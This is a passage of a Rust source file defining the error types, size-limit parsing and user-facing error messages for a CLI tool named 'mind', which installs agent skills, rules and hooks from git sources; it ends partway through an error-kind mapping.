use std::path::{Path, PathBuf};
use std::process::ExitStatus;
use std::sync::atomic::{AtomicU64, Ordering};
pub type Result<T> = std::result::Result<T, MindError>;
pub const METADATA_SIZE_LIMIT: u64 = 8 * 1024 * 1024;
const METADATA_LIMIT_UNSET: u64 = 0;
static EFFECTIVE_METADATA_LIMIT: AtomicU64 = AtomicU64::new(METADATA_LIMIT_UNSET);
pub fn set_metadata_size_limit(limit: u64) {
let limit = if limit == METADATA_LIMIT_UNSET {
u64::MAX
} else {
limit
};
EFFECTIVE_METADATA_LIMIT.store(limit, Ordering::Relaxed);
}
pub fn metadata_size_limit() -> u64 {
match EFFECTIVE_METADATA_LIMIT.load(Ordering::Relaxed) {
METADATA_LIMIT_UNSET => METADATA_SIZE_LIMIT,
limit => limit,
}
}
pub fn parse_metadata_size(raw: &str) -> std::result::Result<u64, String> {
let cleaned: String = raw
.chars()
.filter(|c| !c.is_whitespace())
.collect::<String>()
.to_ascii_lowercase();
if cleaned.is_empty() {
return Err("the value is empty".to_string());
}
if matches!(cleaned.as_str(), "unlimited" | "none") {
return Ok(u64::MAX);
}
let digits_end = cleaned
.find(|c: char| !c.is_ascii_digit())
.unwrap_or(cleaned.len());
let (digits, suffix) = cleaned.split_at(digits_end);
if digits.is_empty() {
return Err(format!("'{raw}' does not start with a number"));
}
if suffix.starts_with('.') {
return Err(format!(
"'{raw}' is a fractional size, which is not accepted (write a whole number of a \
smaller unit instead, e.g. 1536KiB rather than 1.5MiB)"
));
}
let multiplier: u64 = match suffix {
"" | "b" => 1,
"k" | "kib" => 1024,
"kb" => 1_000,
"m" | "mib" => 1024 * 1024,
"mb" => 1_000_000,
"g" | "gib" => 1024 * 1024 * 1024,
"gb" => 1_000_000_000,
other => {
return Err(format!(
"'{other}' is not a known size unit (use B, KiB/KB, MiB/MB, GiB/GB, or no unit \
for bytes)"
));
}
};
let count: u64 = digits
.parse()
.map_err(|_| format!("'{digits}' is not a whole number of units"))?;
if count == 0 {
return Ok(u64::MAX);
}
count
.checked_mul(multiplier)
.ok_or_else(|| format!("'{raw}' overflows a 64-bit byte count"))
}
pub fn format_metadata_size(bytes: u64) -> String {
if bytes == u64::MAX {
return "unlimited".to_string();
}
for (unit, scale) in [
("GiB", 1024 * 1024 * 1024),
("MiB", 1024 * 1024),
("KiB", 1024u64),
] {
if bytes >= scale && bytes.is_multiple_of(scale) {
return format!("{} {unit}", bytes / scale);
}
}
format!("{bytes} bytes")
}
pub fn read_capped_metadata(path: &Path) -> Result<String> {
read_capped_metadata_with(path, metadata_size_limit())
}
pub(crate) fn read_capped_metadata_with(path: &Path, limit: u64) -> Result<String> {
use std::io::Read as _;
let file = std::fs::File::open(path).map_err(|e| MindError::io(path, e))?;
let mut buf = Vec::new();
file.take(limit.saturating_add(1))
.read_to_end(&mut buf)
.map_err(|e| MindError::io(path, e))?;
if buf.len() as u64 > limit {
return Err(MindError::MetadataTooLarge {
path: path.to_path_buf(),
limit,
});
}
String::from_utf8(buf).map_err(|e| {
MindError::io(
path,
std::io::Error::new(std::io::ErrorKind::InvalidData, e),
)
})
}
#[derive(
Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, serde::Serialize, serde::Deserialize,
)]
#[serde(rename_all = "lowercase")]
pub enum ItemKind {
Skill,
Agent,
Rule,
Command,
Workflow,
Tool,
Resource,
}
impl ItemKind {
pub fn as_str(self) -> &'static str {
match self {
ItemKind::Skill => "skill",
ItemKind::Agent => "agent",
ItemKind::Rule => "rule",
ItemKind::Command => "command",
ItemKind::Workflow => "workflow",
ItemKind::Tool => "tool",
ItemKind::Resource => "resource",
}
}
pub fn parse(s: &str) -> Option<Self> {
match s {
"skill" => Some(ItemKind::Skill),
"agent" => Some(ItemKind::Agent),
"rule" => Some(ItemKind::Rule),
"command" => Some(ItemKind::Command),
"workflow" => Some(ItemKind::Workflow),
"tool" => Some(ItemKind::Tool),
"resource" => Some(ItemKind::Resource),
_ => None,
}
}
pub fn dir(self) -> &'static str {
match self {
ItemKind::Skill => "skills",
ItemKind::Agent => "agents",
ItemKind::Rule => "rules",
ItemKind::Command => "commands",
ItemKind::Workflow => "workflows",
ItemKind::Tool => "tools",
ItemKind::Resource => "resources",
}
}
pub fn from_dir(s: &str) -> Option<Self> {
match s {
"skills" => Some(ItemKind::Skill),
"agents" => Some(ItemKind::Agent),
"rules" => Some(ItemKind::Rule),
"commands" => Some(ItemKind::Command),
"workflows" => Some(ItemKind::Workflow),
"tools" => Some(ItemKind::Tool),
"resources" => Some(ItemKind::Resource),
_ => None,
}
}
pub const LINKABLE: [ItemKind; 5] = [
ItemKind::Skill,
ItemKind::Agent,
ItemKind::Rule,
ItemKind::Command,
ItemKind::Workflow,
];
pub const ALL: [ItemKind; 7] = [
ItemKind::Skill,
ItemKind::Agent,
ItemKind::Rule,
ItemKind::Command,
ItemKind::Workflow,
ItemKind::Tool,
ItemKind::Resource,
];
pub fn word_list() -> String {
Self::ALL
.iter()
.map(|k| k.as_str())
.collect::<Vec<_>>()
.join(", ")
}
pub fn ref_forms() -> String {
Self::ALL
.iter()
.map(|k| format!("'{}:name'", k.as_str()))
.collect::<Vec<_>>()
.join(", ")
}
pub fn parse_kinds(strs: &[String]) -> Result<Vec<ItemKind>> {
strs.iter()
.map(|s| ItemKind::parse(s).ok_or_else(|| MindError::UnknownKind { kind: s.clone() }))
.collect()
}
}
impl std::fmt::Display for ItemKind {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.write_str(self.as_str())
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum BadRefReason {
NoMatch,
ToolNoBin,
AmbiguousKind,
CrossSource,
InvalidRef,
}
impl std::fmt::Display for BadRefReason {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
BadRefReason::NoMatch => f.write_str("does not match any item"),
BadRefReason::ToolNoBin => {
f.write_str("names a tool with no resolvable entrypoint (bin)")
}
BadRefReason::AmbiguousKind => {
f.write_str("is ambiguous across kinds; add a kind qualifier")
}
BadRefReason::CrossSource => {
f.write_str("crosses sources; a requires entry is intra-source only")
}
BadRefReason::InvalidRef => f.write_str("is not a valid item ref"),
}
}
}
fn format_conflicts(conflicts: &[(String, String, String)]) -> String {
conflicts
.iter()
.map(|(k, n, s)| format!(" {k}:{n} (already installed from '{s}')"))
.collect::<Vec<_>>()
.join("\n")
}
#[derive(Debug, thiserror::Error)]
pub enum MindError {
#[error("could not locate the home directory")]
HomeDirNotFound,
#[error("I/O error at '{path}': {source}")]
Io {
path: PathBuf,
#[source]
source: std::io::Error,
},
#[error("failed to (de)serialize {what}: {source}")]
Json {
what: String,
#[source]
source: serde_json::Error,
},
#[error("invalid mind.toml at {path}: {msg}")]
Toml { path: PathBuf, msg: String },
#[error("invalid config at {path}: {msg}")]
ConfigToml { path: PathBuf, msg: String },
#[error("failed to write {path}: {source}")]
TomlWrite {
path: PathBuf,
#[source]
source: toml::ser::Error,
},
#[error(
"'{path}' is not a configured agent home (lobe); run `mind config lobes list` to see configured lobes"
)]
UnknownLobe { path: String },
#[error(
"'{kind}' is not a valid item kind (expected one of: skill, agent, rule, command, tool)"
)]
UnknownKind { kind: String },
#[error(
"'{name}' is not a known lobe preset (expected one of: {})",
crate::paths::preset_names()
)]
UnknownPreset { name: String },
#[error("`config lobes add` needs a path or `--preset <name>`")]
LobeTargetRequired,
#[error(
"cannot create {path}: '{link}' is a symlink pointing at '{target}', which does not exist; \
fix or remove the broken link (if it is a configured agent home, see `mind config lobes list`)"
)]
BrokenSymlinkPath {
path: PathBuf,
link: PathBuf,
target: PathBuf,
},
#[error("mind.toml at {path}: {msg}")]
MindToml { path: PathBuf, msg: String },
#[error("{path}: {msg}")]
Manifest { path: PathBuf, msg: String },
#[error(
"'{path}' exceeds the {} size cap for a hand-authored metadata file (mind.toml, an \
item's frontmatter, or a plugin/marketplace manifest); trim the file, move large \
content out of it, or raise the cap with --max-metadata-size",
format_metadata_size(*limit)
)]
MetadataTooLarge { path: PathBuf, limit: u64 },
#[error(
"invalid metadata size cap from {origin}: {msg} (expected a byte count like 16777216, a \
suffixed size like 32MiB, or 'unlimited')"
)]
BadMetadataSize { origin: String, msg: String },
#[error(
"'{spec}' is not a valid repo spec (expected 'owner/repo', a github shorthand, a git URL, \
or a local path: '/abs/path', './rel/path', '../rel/path', or 'file:///abs/path')"
)]
InvalidRepoSpec { spec: String },
#[error(
"'{spec}' is not a usable repo spec: its {part} part '{value}' {reason}; each of host, owner, and repo must be a single path component"
)]
UnsafeRepoSpec {
spec: String,
part: &'static str,
value: String,
reason: &'static str,
},
#[error(
"'{url}' is not a valid item-link URL ({reason}); expected '<repo-url>/tree/<ref>/<skill-dir>', '<repo-url>/blob/<ref>/<skill-dir>/SKILL.md', or '<repo-url>/blob/<ref>/<file>.md' for a single agent, rule, or command (GitLab's '/-/tree/' and '/-/blob/' forms also work)"
)]
BadItemLink { url: String, reason: String },
#[error(
"'{name}' is not a valid item ref (expected 'name', {forms}, or 'owner/repo#name')",
forms = ItemKind::ref_forms()
)]
InvalidItemRef { name: String },
#[error(
"'{prefix}' cannot be used as a namespace prefix: it is a reserved word (an item kind: {words}; or a word mind reserves for a future kind), which would make a prefixed name indistinguishable from a kind-qualified ref",
words = ItemKind::word_list()
)]
ReservedPrefix { prefix: String },
#[error(
"melded source '{source_name}': its mind.toml declares the namespace prefix '{prefix}', \
which mind reserves as an item-kind word (a prefixed name would be indistinguishable \
from a kind-qualified ref like '{prefix}:<name>'); the prefix is the source's own \
declaration, so --namespace cannot override the refusal -- run `mind unmeld \
{source_name}` to drop the source, then re-meld it once its author renames the prefix"
)]
MeldedSourceReservedPrefix { source_name: String, prefix: String },
#[error("{}", unsafe_prefix_message(prefix))]
UnsafePrefix { prefix: String },
#[error(
"cannot change the namespace of source '{src_name}': the following items are installed ({items}); run `mind forget <item>` for each before changing the namespace",
items = items.join(", ")
)]
NamespaceLocked {
src_name: String,
items: Vec<String>,
},
#[error("source '{name}' is already melded (from {url})")]
SourceExists { name: String, url: String },
#[error(
"no melded source matches '{name}'; run `mind recall --sources` to list melded sources"
)]
SourceNotFound { name: String },
#[error("'{name}' cannot be adopted: {reason}")]
NotAnAdoptCandidate { name: String, reason: String },
#[error("'{pattern}' is not a valid glob selector: {source}")]
InvalidPattern {
pattern: String,
#[source]
source: glob::PatternError,
},
#[error("'{query}' matches multiple sources: {}; use the full owner/repo", candidates.join(", "))]
AmbiguousSource {
query: String,
candidates: Vec<String>,
},
#[error("{}", item_not_found_message(query, *sources))]
ItemNotFound { query: String, sources: usize },
#[error("'{query}' is ambiguous; matches: {}", candidates.join(", "))]
AmbiguousItem {
query: String,
candidates: Vec<String>,
},
#[error(
"{}",
upgrade_rename_collision_message(key, existing_source, incoming, incoming_source)
)]
UpgradeRenameCollision {
key: String,
existing_source: String,
incoming: String,
incoming_source: String,
},
#[error("{}", not_installed_message(name))]
NotInstalled { name: String },
#[error("sync failed for {failed} of {total} source(s); see the messages above")]
SyncFailed { failed: usize, total: usize },
#[error(
"source '{source_name}' requires mind >= {required}, but this is mind {running}; run `mind evolve` to update, or pass --yes to meld it anyway"
)]
IncompatibleVersion {
source_name: String,
required: String,
running: String,
},
#[error(
"mind.toml at {path} requires mind >= {required} and cannot be read by mind {running} ({msg}); run `mind evolve` to update"
)]
MindTomlTooNew {
path: PathBuf,
required: String,
running: String,
msg: String,
},
#[error(
"'{path}' already exists and is not managed by mind; remove it (or `mind forget` the item) before installing, or re-run with `--force` to overwrite"
)]
LinkOccupied { path: String },
#[error("{item}: reference {referent} {reason} in source '{in_source}'")]
BadReference {
item: String,
referent: String,
reason: BadRefReason,
in_source: String,
},
#[error("git {} failed for {url}{}: {}",
args.join(" "),
status_suffix(*status),
if stderr.is_empty() { "<no stderr>" } else { stderr })]
Git {
url: String,
args: Vec<String>,
status: Option<ExitStatus>,
stderr: String,
},
#[error(
"melding '{super_source}' produced no discoverable items: it has no items of its own and every nested source failed to register"
)]
CuratorAllNestedFailed { super_source: String },
#[error("git executable not found on PATH; install git to meld and sync sources")]
GitNotFound,
#[error("conflicting pin flags: {first} and {second} cannot both be given; supply at most one")]
ConflictingPin { first: String, second: String },
#[error(
"invalid --pin value '{value}': expected HEAD, a ref (tag/sha/branch), 'branch=<name>', 'tag=<name>', or 'version=<range>' (^1.2, 1.2, =1.2.3)"
)]
BadPinSpec { value: String },
#[error("invalid --auto-update value '{value}': expected off, compatible, or breaking")]
BadAutoUpdate { value: String },
#[error("auto-update is turned off by the managed policy ([sources].auto-update = \"off\")")]
AutoUpdateForbidden,
#[error(
"invalid duration '{value}': expected a whole number followed by m, h, or d (30m, 12h, 1d)"
)]
BadDuration { value: String },
#[error("{}: {msg}", path.display())]
SettingsJson { path: PathBuf, msg: String },
#[error(
"{}: no release matches {}{}",
crate::sanitize::strip_ansi(source_name),
crate::sanitize::strip_ansi(range),
match highest {
Some(h) => format!(" (highest release is {h})"),
None => " (no tag is a release under the source's release-tags)".to_string(),
}
)]
NoMatchingRelease {
source_name: String,
range: String,
highest: Option<String>,
},
#[error("{}", invalid_root_message(source_name, root))]
InvalidRoot { source_name: String, root: String },
#[error(
"source '{source_name}': linked path '{path}' is not a skill directory in the clone (no SKILL.md)"
)]
LinkNotASkill { source_name: String, path: String },
#[error("--kind {value}: {reason}")]
BadKindFlag { value: String, reason: String },
#[error("source '{source_name}': linked path '{path}' is not a file in the clone")]
LinkNotAFile { source_name: String, path: String },
#[error(
"source '{source_name}': linked path '{path}' names a workflow, and mind does not \
install a workflow by item link (a blob link takes a .md file, a tree link takes a \
skill directory); meld the repo, run `mind probe <name>` to find the workflow's ref, \
then `mind learn <ref>` (if the repo's authoritative mind.toml or plugin manifest \
leaves it out, meld with `--add-root <dir>` naming the directory that holds its \
workflows/ folder)"
)]
LinkKindNotSupported { source_name: String, path: String },
#[error(
"source '{source_name}': linked path '{path}' is a JavaScript file, and mind does not \
install one by item link (a blob link takes a .md file, a tree link takes a skill \
directory); meld the repo instead"
)]
LinkNotLinkableFile { source_name: String, path: String },
#[error(
"source '{source_name}': cannot tell what kind of item '{path}' is; it is not under an \
agents/, rules/, or commands/ directory and declares no `kind:` in its frontmatter. \
Pass --kind <agent|rule|command> (or set kind = \"...\" on the [discover].sources entry)"
)]
LinkKindUnresolved { source_name: String, path: String },
#[error("{}", link_kind_mismatch_message(source_name, path, kind, reason))]
LinkKindMismatch {
source_name: String,
path: String,
kind: String,
reason: String,
},
#[error(
"{item}: reference {referent} names a sibling, but source '{in_source}' is a single-item link with no siblings; {remedy}"
)]
LinkRefUnsatisfiable {
item: String,
referent: String,
in_source: String,
remedy: String,
},
#[error("{item}: invalid ignore pattern '{entry}': {reason}")]
BadIgnorePattern {
item: String,
entry: String,
reason: String,
},
#[error(
"{item}: ignore pattern '{entry}' would exclude the item's own {anchor}; an item cannot ignore the file that defines it"
)]
IgnoresOwnAnchor {
item: String,
entry: String,
anchor: String,
},
#[error(
"{item}: '{file}' is listed in `expand:` but is excluded by the ignore pattern '{entry}'; a file cannot be both expanded and ignored"
)]
ExpandsIgnoredFile {
item: String,
file: String,
entry: String,
},
#[error("invalid --learn pattern '{pattern}': {reason}")]
InvalidLearnPattern { pattern: String, reason: String },
#[error("{}", learn_no_match_message(pattern, source_name))]
LearnPatternNoMatch {
pattern: String,
source_name: String,
},
#[error(
"invalid profile name '{}': {reason}",
crate::sanitize::strip_ansi(name)
)]
InvalidProfileName { name: String, reason: String },
#[error("{}", profile_not_found_message(profile, source_name, declared))]
ProfileNotFound {
profile: String,
source_name: String,
declared: Vec<String>,
},
#[error(
"{flag} cannot be used with an item link: an item link installs a single item, which has no profiles"
)]
ProfileFlagOnItemLink { flag: String },
#[error("{}", duplicate_item_message(source_name, *kind, name))]
DuplicateItem {
source_name: String,
kind: ItemKind,
name: String,
},
#[error("review found {hard} hard error(s); see the findings above")]
ReviewFailed { hard: usize },
#[error("source '{identity}' is not permitted by the managed policy's allowlist")]
SourceNotAllowed { identity: String },
#[error(
"local-path and file:// melds are forbidden by the managed policy \
([sources].allow-local = false)"
)]
LocalMeldForbidden { identity: String },
#[error(
"source '{identity}' must be pinned to a tag, ref, or exact version: the managed policy forbids a floating pin"
)]
UnpinnedSourceForbidden { identity: String },
#[error("invalid managed policy at {path}: {reason}")]
InvalidPolicy { path: String, reason: String },
#[error(
"the agent homes are locked by the managed policy ([lobes].lock); `config lobes {action}` is refused"
)]
LobesLocked { action: String },
#[error(
"{} for source '{identity}' failed{}: {}\n command: {command}",
// The event is what the hook IS (install/uninstall/build); the label is
// what the frame above was headed with, which is the author's
// `[[hooks]].name` or, absent one, the command itself (HOOK-51). They
if event == label {
format!("{event} hook")
} else {
format!("{event} hook '{label}'")
},
status_suffix(*status),
if *streamed {
"its output, if any, is in the frame above"
} else if reason.is_empty() {
"(no output)"
} else {
reason.as_str()
}
)]
HookFailed {
event: &'static str,
label: String,
identity: String,
command: String,
status: Option<ExitStatus>,
reason: String,
streamed: bool,
},
#[error("no prebuilt `mind` binary for this platform ({os}/{arch}); build from source instead")]
UnsupportedPlatform { os: String, arch: String },
#[error("failed to download {url}: {reason}")]
DownloadFailed { url: String, reason: String },
#[error("{reason}")]
SelfUpdateRefused { reason: String },
#[error("the downloaded release archive did not contain a 'mind' binary")]
ReleaseAssetEmpty,
#[error(
"cannot replace the running binary at {path}: it is not writable; reinstall with elevated privileges (e.g. sudo) or, for a Homebrew install, run `brew upgrade mind`"
)]
TargetNotWritable { path: String },
#[error("'{path}' is not a directory")]
NotADirectory { path: String },
#[error("{action} needs confirmation; re-run with --yes (or in an interactive terminal)")]
ConfirmationRequired { action: String },
#[error(
"'{path}' is not a git repository; absorb requires a git destination (use --to to choose one)"
)]
DestinationNotRepo { path: String },
#[error("invalid ref value '{value}': {reason}")]
InvalidRef { value: String, reason: String },
#[error("destination already has {kind}:{name} at {dest_path}; use --force to overwrite")]
AbsorbCollision {
kind: String,
name: String,
dest_path: String,
},
#[error("{}", agent_collision_message(name, existing, incoming))]
AgentCollision {
name: String,
existing: String,
incoming: String,
},
#[error("{}", skill_collision_message(conflicts, suggested))]
SkillCollision {
conflicts: Vec<(String, String, String)>,
suggested: String,
},
#[error("{}", unsafe_name_message(name))]
UnsafeName { name: String },
#[error(
"digest mismatch for {url}: expected {expected}, got {actual}; the download may be corrupted or tampered with"
)]
DigestMismatch {
url: String,
expected: String,
actual: String,
},
#[error(
"build provenance verification failed for the downloaded release archive: {reason}; \
evolve is aborting without replacing the running binary. If this release predates \
build-provenance attestations, install it another way (resources/install.sh or a \
manual download) instead of `mind evolve`"
)]
AttestationVerificationFailed { reason: String },
#[error("{detail}")]
SelfUpdatePolicy { detail: String },
#[error(
"{path} is managed by Homebrew; run `brew upgrade mind` to update it instead of `mind evolve`"
)]
HomebrewManaged { path: String },
#[error(
"self-update target version {value:?} is not a plausible release tag (e.g. \
\"1.2.3\" or \"1.2.3-rc1\"); refusing before building the release URL"
)]
SelfUpdateInvalidTarget { value: String },
#[error(
"{what} uses schema version {found} but this mind only supports up to version {supported}; run `mind evolve` to read it, or use the newer `mind` that wrote it"
)]
StateTooNew {
what: &'static str,
found: u32,
supported: u32,
},
#[error(
"--event build is valid only for an item target (a source has no build hook); use <source>#<item> to target an item"
)]
BuildEventRequiresItemTarget,
#[error("hook '{label}' was aborted by user; not running remaining hooks")]
HookAborted { label: String },
#[error(
"{} for source '{identity}' was interrupted; stopping",
if event == label {
format!("{event} hook")
} else {
format!("{event} hook '{label}'")
}
)]
HookInterrupted {
event: &'static str,
label: String,
identity: String,
},
#[error(
"invalid --since '{value}': expected a duration like 30m, 2h, or 7d, or a UTC date or time like 2026-10-28 or 2026-10-28T14:00"
)]
BadHistorySince { value: String },
#[error("lobe base directory does not exist: {}", path.display())]
LobeBaseMissing { path: PathBuf },
#[error(
"refusing to use clone path '{path}' for source '{identity}': it resolves outside the managed sources tree"
)]
UnsafeClonePath { path: PathBuf, identity: String },
#[error("{}", ambiguous_hook_target_message(target, item_forms))]
AmbiguousHookTarget {
target: String,
item_forms: Vec<String>,
},
#[error("{}", linked_source_gone_message(source_name, path))]
LinkedSourceGone { source_name: String, path: String },
#[error("{}", hooks_not_run_message(target, event, *skipped, resolved))]
HooksNotRun {
target: String,
event: String,
skipped: usize,
resolved: Vec<String>,
},
}
pub(crate) fn shell_quote(s: &str) -> String {
format!("'{}'", s.replace('\'', r"'\''"))
}
fn ambiguous_hook_target_message(target: &str, item_forms: &[String]) -> String {
let source_arg = shell_quote(&format!("source:{target}"));
let item_form = item_forms.first().map(String::as_str).unwrap_or("");
let item_arg = shell_quote(item_form);
format!(
"'{target}' is ambiguous: it names both the registered source '{target}' and installed item(s) matching the same string; \
to target the source, run `mind hooks run {source_arg}`; to target an item, use a kind-qualified ref, e.g. `mind hooks run {item_arg}`"
)
}
fn hooks_not_run_message(target: &str, event: &str, skipped: usize, resolved: &[String]) -> String {
debug_assert!(
!resolved.is_empty(),
"hooks_not_run_message: resolved must never be empty -- both construction sites \
(run_source_hooks/run_item_hooks) only build MindError::HooksNotRun once at least \
one contributor pushed a resolved identity"
);
match resolved {
[one] => {
let quoted = shell_quote(one);
format!(
"hooks run '{one}': {skipped} hook(s) had work to do but were skipped for want \
of consent (not a terminal); re-run unattended with:\n mind hooks run {quoted} \
--event {event} --accept-hooks={event}"
)
}
_ => {
let names = if resolved.is_empty() {
String::new()
} else {
let quoted: Vec<String> = resolved.iter().map(|n| shell_quote(n)).collect();
format!(" ({})", quoted.join(", "))
};
format!(
"hooks run '{target}': {skipped} hook(s) had work to do but were skipped for \
want of consent (not a terminal), across {} matched target(s){names}; re-run \
each individually with 'mind hooks run <name> --event {event} \
--accept-hooks={event}', substituting each resolved name above \
for <name>",
resolved.len()
)
}
}
}
fn linked_source_gone_message(source_name: &str, path: &str) -> String {
let quoted = shell_quote(source_name);
format!(
"source '{source_name}': linked working tree '{path}' is gone; run `mind unmeld {quoted}` to drop it, or restore the directory"
)
}
fn agent_collision_message(name: &str, existing: &str, incoming: &str) -> String {
let forget_arg = shell_quote(&format!("agent:{name}"));
format!(
"agent '{name}' from source '{incoming}' conflicts with the installed agent from \
'{existing}': both link as agents/{name}.md in the agent home -- \
run `mind forget {forget_arg}` (or the prefixed name) to remove the existing agent first"
)
}
fn upgrade_rename_collision_message(
key: &str,
existing_source: &str,
incoming: &str,
incoming_source: &str,
) -> String {
let forget_arg = shell_quote(key);
format!(
"upgrade cannot rename to '{key}': it is already claimed by the item from source \
'{existing_source}', and {incoming} from source '{incoming_source}' would also resolve \
to this key; run `mind forget {forget_arg}` to remove the item occupying it, or \
re-namespace the incoming source with `mind meld -N <prefix> <repo>` to avoid the \
collision"
)
}
fn skill_collision_message(conflicts: &[(String, String, String)], suggested: &str) -> String {
let ns = shell_quote(suggested);
format!(
"name collision: the following items from the incoming source conflict with \
already-installed items:\n{}\nrun `mind meld --namespace {ns} <repo>` \
to namespace the incoming source",
format_conflicts(conflicts)
)
}
fn unsafe_prefix_message(prefix: &str) -> String {
format!(
"'{}' cannot be used as a namespace prefix: it must be a single safe path component \
(no `/`, `\\`, `:`, `.`, `..`, leading `~`, NUL, control character, or an invisible, \
bidi, or zero-width character)",
crate::sanitize::strip_ansi(prefix)
)
}
fn unsafe_name_message(name: &str) -> String {
let stripped = crate::sanitize::strip_ansi(name);
let display_note = if stripped != name {
" (shown above with non-printing characters stripped for display)"
} else {
""
};
format!(
"unsafe effective name '{stripped}'{display_note}: contains path-traversal characters, \
resolves to a relative component (`.`/`..`), contains a NUL byte, or is empty; \
refusing to build store or link paths from it"
)
}
fn item_not_found_message(query: &str, sources: usize) -> String {
let base = if sources == 0 {
format!(
"no item matches '{query}'; no sources are melded yet -- run `mind meld <repo>` to add one"
)
} else {
format!(
"no item matches '{query}' across {sources} melded source(s); run `mind probe` to search available items"
)
};
if crate::sanitize::has_blocked_chars(query) {
format!(
"{base} (note: this ref may contain a non-printing character that makes it \
untypeable as shown; compare it byte-for-byte with `mind probe`)"
)
} else {
base
}
}
fn not_installed_message(name: &str) -> String {
if crate::sanitize::has_blocked_chars(name) {
format!(
"'{name}' is not installed (note: this ref may contain a non-printing character \
that makes it untypeable as shown; compare it byte-for-byte with `mind recall`)"
)
} else {
format!("'{name}' is not installed")
}
}
fn invalid_root_message(source_name: &str, root: &str) -> String {
format!(
"source '{}': scan root '{}' is not a directory in the clone",
crate::sanitize::strip_ansi(source_name),
crate::sanitize::strip_ansi(root)
)
}
fn link_kind_mismatch_message(source_name: &str, path: &str, kind: &str, reason: &str) -> String {
let article = if kind.starts_with(['a', 'e', 'i', 'o', 'u']) {
"an"
} else {
"a"
};
format!(
"source '{}': linked path '{}' cannot be {article} {}: {}",
crate::sanitize::strip_ansi(source_name),
crate::sanitize::strip_ansi(path),
crate::sanitize::strip_ansi(kind),
crate::sanitize::strip_ansi(reason)
)
}
fn duplicate_item_message(source_name: &str, kind: ItemKind, name: &str) -> String {
format!(
"source '{}': {kind} '{}' appears under more than one scan root; roots must not yield \
the same item",
crate::sanitize::strip_ansi(source_name),
crate::sanitize::strip_ansi(name)
)
}
fn learn_no_match_message(pattern: &str, source_name: &str) -> String {
let pattern = crate::sanitize::strip_ansi(pattern);
let source_name = crate::sanitize::strip_ansi(source_name);
let quoted = shell_quote(&source_name);
format!(
"--learn pattern '{pattern}' matches no item in source '{source_name}'; run `mind probe --source {quoted} --no-tui` to list what it offers. An item the source's inventory does not declare needs `--add-root <dir>` at the meld that registers the source (`unmeld` first if it is already melded), and a curated super-source's nested sources register as their own sources"
)
}
fn profile_not_found_message(profile: &str, source_name: &str, declared: &[String]) -> String {
let profile = crate::sanitize::strip_ansi(profile);
let source_name = crate::sanitize::strip_ansi(source_name);
if declared.is_empty() {
format!("source '{source_name}' declares no profiles, so it has no profile '{profile}'")
} else {
let names: Vec<String> = declared
.iter()
.map(|d| crate::sanitize::strip_ansi(d))
.collect();
format!(
"source '{source_name}' declares no profile '{profile}'; declared profiles: {}",
names.join(", ")
)
}
}
fn status_suffix(status: Option<ExitStatus>) -> String {
match status.and_then(|s| s.code()) {
Some(code) => format!(" (exit {code})"),
None => String::new(),
}
}
impl MindError {
pub fn io(path: impl Into<PathBuf>, source: std::io::Error) -> Self {
MindError::Io {
path: path.into(),
source,
}
}
pub fn json(what: impl Into<String>, source: serde_json::Error) -> Self {
MindError::Json {
what: what.into(),
source,
}
}
pub fn exit_code(&self) -> u8 {
match self {
MindError::HookFailed { .. } => 3,
MindError::HookInterrupted { .. } => 130,
_ => 1,
}
}
pub fn is_hook_stop(&self) -> bool {
matches!(
self,
MindError::HookFailed { .. }
| MindError::HookAborted { .. }
| MindError::HookInterrupted { .. }
)
}
pub fn kind(&self) -> &'static str {
match self {
MindError::HomeDirNotFound => "home-dir-not-found",
MindError::Io { .. } => "io",
MindError::Json { .. } => "json",
MindError::Toml { .. } => "toml",
MindError::ConfigToml { .. } => "config-toml",
MindError::TomlWrite { .. } => "toml-write",
MindError::UnknownLobe { .. } => "unknown-lobe",
MindError::UnknownKind { .. } => "unknown-kind",
MindError::UnknownPreset { .. } => "unknown-preset",
MindError::LobeTargetRequired => "lobe-target-required",
MindError::BrokenSymlinkPath { .. } => "broken-symlink-path",
MindError::MindToml { .. } => "mind-toml",
MindError::Manifest { .. } => "manifest",
MindError::MetadataTooLarge { .. } => "metadata-too-large",
MindError::BadMetadataSize { .. } => "bad-metadata-size",
MindError::InvalidRepoSpec { .. } => "invalid-repo-spec",
MindError::UnsafeRepoSpec { .. } => "unsafe-repo-spec",
MindError::BadItemLink { .. } => "bad-item-link",
MindError::InvalidItemRef { .. } => "invalid-item-ref",
MindError::ReservedPrefix { .. } => "reserved-prefix",
MindError::MeldedSourceReservedPrefix { .. } => "melded-source-reserved-prefix",
MindError::UnsafePrefix { .. } => "unsafe-prefix",
MindError::NamespaceLocked { .. } => "namespace-locked",
MindError::SourceExists { .. } => "source-exists",
MindError::SourceNotFound { .. } => "source-not-found",
MindError::NotAnAdoptCandidate { .. } => "not-an-adopt-candidate",
MindError::InvalidPattern { .. } => "invalid-pattern",
MindError::AmbiguousSource { .. } => "ambiguous-source",
MindError::ItemNotFound { .. } => "item-not-found",
MindError::AmbiguousItem { .. } => "ambiguous-item",
MindError::UpgradeRenameCollision { .. } => "upgrade-rename-collision",
MindError::NotInstalled { .. } => "not-installed",
MindError::SyncFailed { .. } => "sync-failed",
MindError::IncompatibleVersion { .. } => "incompatible-version",
MindError::MindTomlTooNew { .. } => "mind-toml-too-new",
MindError::LinkOccupied { .. } => "link-occupied",
MindError::BadReference { .. } => "bad-reference",
MindError::Git { .. } => "git",
MindError::CuratorAllNestedFailed { .. } => "curator-all-nested-failed",
MindError::GitNotFound => "git-not-found",
MindError::ConflictingPin { .. } => "conflicting-pin",
MindError::BadPinSpec { .. } => "bad-pin-spec",
MindError::BadAutoUpdate { .. } => "bad-auto-update",
MindError::AutoUpdateForbidden => "auto-update-forbidden",
MindError::BadDuration { .. } => "bad-duration",
MindError::SettingsJson { .. } => "settings-json",
MindError::NoMatchingRelease { .. } => "no-matching-release",
MindError::InvalidRoot { .. } => "invalid-root",
MindError::LinkNotASkill { .. } => "link-not-a-skill",
MindError::BadKindFlag { .. } => "bad-kind-flag",
MindError::LinkNotAFile { .. } => "link-not-a-file",
MindError::LinkKindNotSupported { .. } => "link-kind-not-supported",
MindError::LinkNotLinkableFile { .. } => "link-not-linkable-file",
MindError::LinkKindUnresolved { .. } => "link-kind-unresolved",
MindError::LinkKindMismatch { .. } => "link-kind-mismatch",
MindError::LinkRefUnsatisfiable { .. } => "link-ref-unsatisfiable",
